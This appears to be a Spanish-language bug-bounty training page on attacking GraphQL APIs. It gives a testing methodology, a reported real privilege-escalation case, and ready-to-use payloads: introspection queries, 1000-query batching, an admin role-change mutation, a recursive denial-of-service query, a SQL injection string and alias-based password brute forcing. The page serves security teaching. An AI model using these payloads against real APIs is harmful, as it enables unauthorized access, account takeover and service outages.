Nuevos labs cada semana — Accede a todos desde 5€/mes

GraphQL APIs

Introspección, batching, inyecciones y DoS en APIs GraphQL

Respuesta rápida

¿Qué es GraphQL APIs?

GraphQL permite a los clientes solicitar exactamente los datos que necesitan. Pero si la introspección está habilitada, el atacante puede mapear toda la API. El batching sin límite y las queries recursivas pueden causar DoS.

Severidad

Alto

Frecuencia

Común

Payloads

8

Pasos

6

Severidad

Alto

Frecuencia

Común

Payloads

8

A diferencia de REST, GraphQL expone un solo endpoint. La introspección permite descubrir todos los tipos, queries y mutations. Las queries pueden ser anidadas recursivamente (DoS), batcheadas (brute force) o contener inyecciones en los arguments.

Descubrimiento completo de la APIBrute force vía batchingDoS vía queries recursivasInyección en argumentosBypass de rate limiting

Dónde buscar

Endpoint /graphql

Busca /graphql, /api/graphql, /v1/graphql, /gql. Envía una introspection query.

Network tab

En DevTools busca requests POST con body que contenga 'query' o 'mutation'.

Apollo/Relay

Si la app usa Apollo o Relay, probablemente usa GraphQL. Busca __APOLLO_STATE__ en el HTML.

Metodología

1

Detectar GraphQL

POST /graphql con body: {"query": "{__typename}"}. Si responde → GraphQL confirmado.

2

Introspección

{__schema{types{name,fields{name,type{name}}}}} — si funciona, tienes el mapa completo de la API.

3

Enumerar queries y mutations

Usa la introspección para listar todas las queries y mutations disponibles.

4

Probar batching

Envía un array de queries: [{query:"..."},{query:"..."},...x100]. ¿Se procesan todas?

5

Inyección en arguments

Los arguments de las queries van directo a la BD. Prueba SQLi/NoSQLi en filtros.

6

DoS vía recursión

Si hay tipos recursivos (User→posts→author→posts→...), crea una query profundamente anidada.

Caso real

GraphQL introspection + mutation no documentada → Admin access

$2,000
1

Introspección habilitada

El endpoint /graphql permite introspección. Se descubre toda la estructura de la API.

2

Mutation oculta descubierta

Entre las mutations hay updateUserRole(userId, role) — no documentada en la UI pero accesible vía API.

3

Escalación de privilegios

mutation { updateUserRole(userId: "mi-id", role: "admin") { id role } } — cambia el rol a admin.

Lección: La introspección de GraphQL expone TODA la API, incluyendo endpoints que no se usan en la UI. Siempre ejecuta la introspection query al encontrar GraphQL.

Payloads

Detección

{"query": "{__typename}"}

Introspección completa

{"query": "{__schema{types{name,fields{name,type{name}}}}}"}

Field suggestion

{"query": "{us}"}  →  error: "Did you mean user, users, userById?"

Batching

[{"query":"{ me { email } }"},{"query":"{ me { email } }"},...x1000]

Payloads avanzados(requiere cuenta)

Mutation de escalación

mutation { updateUserRole(userId: "mi-id", role: "admin") { id role } }

Recursión DoS

{ users { posts { author { posts { author { posts { ... } } } } } } }

SQL en argument

{ users(filter: "' OR 1=1--") { id email } }

Brute force vía alias

{ a1: login(user:"admin",pass:"123") { token }, a2: login(user:"admin",pass:"456") { token }, ... }

Contenido exclusivo

Crea tu cuenta gratis para acceder a payloads avanzados, scripts y técnicas de bypass

Crear cuenta gratis

Herramientas

GraphQL Voyager

Visualiza el schema GraphQL como un grafo interactivo. Pega el resultado de la introspección.

https://graphql-kit.com/graphql-voyager/

InQL (Burp)

Genera queries automáticamente desde la introspección y permite testing visual.

Burp → Extensions → InQL → URL del endpoint

graphql-cop

Scanner de seguridad GraphQL: introspección, batching, DoS, field suggestions.

python3 graphql-cop.py -t https://target.com/graphql

Tips

Introspección = mapa completo

Si la introspección está habilitada, tienes acceso al schema completo: tipos, queries, mutations, campos.

Field suggestions = introspección parcial

Aunque la introspección esté deshabilitada, los errores de campo suelen sugerir nombres válidos.

Batching bypassa rate limiting

Si envías 100 queries en un solo request, muchos rate limiters lo cuentan como 1 request.

Practica GraphQL APIs con labs reales

Aplica estas técnicas en entornos seguros basados en reportes reales de bug bounty.